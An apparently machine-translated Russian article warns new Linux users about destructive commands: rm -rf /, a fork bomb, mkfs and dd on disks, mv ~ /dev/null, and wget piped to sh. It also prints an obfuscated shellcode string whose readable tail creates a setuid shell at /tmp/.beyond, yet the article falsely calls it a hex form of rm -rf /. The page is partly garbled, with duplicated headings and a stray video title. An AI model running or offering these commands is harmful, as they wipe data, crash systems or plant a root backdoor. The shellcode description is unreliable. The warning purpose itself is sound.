8 смертельных команд, которые вы не должны выполнять в Linux

Оглавление:

8 смертельных команд, которые вы не должны выполнять в Linux
8 смертельных команд, которые вы не должны выполнять в Linux

Видео: 8 смертельных команд, которые вы не должны выполнять в Linux

Видео: 8 смертельных команд, которые вы не должны выполнять в Linux
Видео: Как изменить зарегистрированного владельца и организацию в Windows 10 - YouTube 2024, Марш
Anonim
Команды терминала Linux мощные, и Linux не попросит вас подтверждения, если вы запустите команду, которая нарушит вашу систему. Нередко можно увидеть, как тролли онлайн рекомендуют новым пользователям Linux запускать эти команды в качестве шутки.
Команды терминала Linux мощные, и Linux не попросит вас подтверждения, если вы запустите команду, которая нарушит вашу систему. Нередко можно увидеть, как тролли онлайн рекомендуют новым пользователям Linux запускать эти команды в качестве шутки.

Изучение команд, которые вы не должны запускать, может помочь защитить вас от троллей, улучшая понимание того, как работает Linux. Это не исчерпывающее руководство, и команды здесь могут быть ремикшированы различными способами.

Обратите внимание, что многие из этих команд будут опасны только в том случае, если они имеют префикс Судо на Ubuntu - они не будут работать иначе. В других дистрибутивах Linux большинство команд должно выполняться как root.

rm -rf / - Удаляет все!

Команда rm -rf / удаляет все, что возможно, включая файлы на вашем жестком диске и файлы на подключенных съемных носителях. Эта команда более понятна, если она разбита:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux будет радостно подчиняться этой команде и удалять все, не запрашивая вас, поэтому будьте осторожны при ее использовании! Команда rm также может использоваться другими опасными способами - rm-rf ~ удалит все файлы в вашей домашней папке, в то время как rm -rf. * удалит все ваши файлы конфигурации.

Урок: Остерегайтесь rm -rf.

Замаскированный rm -rf /

Вот еще один фрагмент кода, который находится по всему Интернету:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Это шестнадцатеричная версия rm -rf / выполнение этой команды уничтожит ваши файлы так же, как если бы вы использовали rm -rf /.

Урок: Не запускайте странные, явно замаскированные команды, которые вы не понимаете.

: () {: |: &};: - Fork Bomb

Следующая строка - простая, но опасная функция bash:

:(){:|: &};:

Эта короткая строка определяет функцию оболочки, которая создает новые копии. Процесс постоянно реплицирует себя, и его копии постоянно копируют себя, быстро занимая все время процессора и память. Это может привести к зависанию компьютера. Это в основном атака отказа в обслуживании.

Урок: Функции Bash являются мощными, даже очень короткими.

Image
Image

mkfs.ext4 / dev / sda1 - Форматирует жесткий диск

mkfs.ext4 / dev / sda1 команда проста для понимания:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Взятые вместе, эта команда может быть эквивалентна запуску формата c: в Windows - она уничтожит файлы на вашем первом разделе и заменит их новой файловой системой.

Эта команда может появляться и в других формах - mkfs.ext3 / dev / sdb2 будет форматировать второй раздел на втором жестком диске с файловой системой ext3.

Урок: Остерегайтесь выполнения команд непосредственно на жестких дисках, начинающихся с / dev / sd.

command> / dev / sda - записывает непосредственно на жесткий диск

команда> / dev / sda line работает аналогично - он запускает команду и отправляет вывод этой команды непосредственно на ваш первый жесткий диск, записывая данные непосредственно на жесткий диск и повреждая вашу файловую систему.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Урок: Как и выше, остерегайтесь запускать команды, которые включают устройства на жестком диске, начинающиеся с / dev / sd.

dd if = / dev / random of = / dev / sda - записывает нежелательную информацию на жесткий диск

dd if = / dev / random of = / dev / sda линия также уничтожит данные на одном из ваших жестких дисков.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Урок: dd копирует данные из одного места в другое, что может быть опасно, если вы копируете непосредственно на устройство.

Image
Image

mv ~ / dev / null - перемещает домашний каталог в черную дыру

/ dev / null - другое специальное местоположение - перемещение чего-либо в / dev / null - это то же самое, что уничтожать его. Подумайте о / dev / null как о черной дыре. По существу, mv ~ / dev / null отправляет все ваши личные файлы в черную дыру.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Урок: Символ ~ представляет вашу домашнюю папку и перемещает вещи в / dev / null, уничтожая их.

wget https://example.com/something -O - | sh - Загрузки и запуск скрипта

Вышеупомянутая строка загружает скрипт из Интернета и отправляет его в sh, который выполняет содержимое скрипта. Это может быть опасно, если вы не знаете, что такое скрипт или если вы не доверяете его источнику - не запускайте ненадежные скрипты.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Урок: Не загружайте и не запускайте ненадежные скрипты из Интернета даже с помощью команды.

Знать любые другие опасные команды, которые не должны запускать новые (и опытные) пользователи Linux? Оставить комментарий и поделиться им!

Рекомендуемые: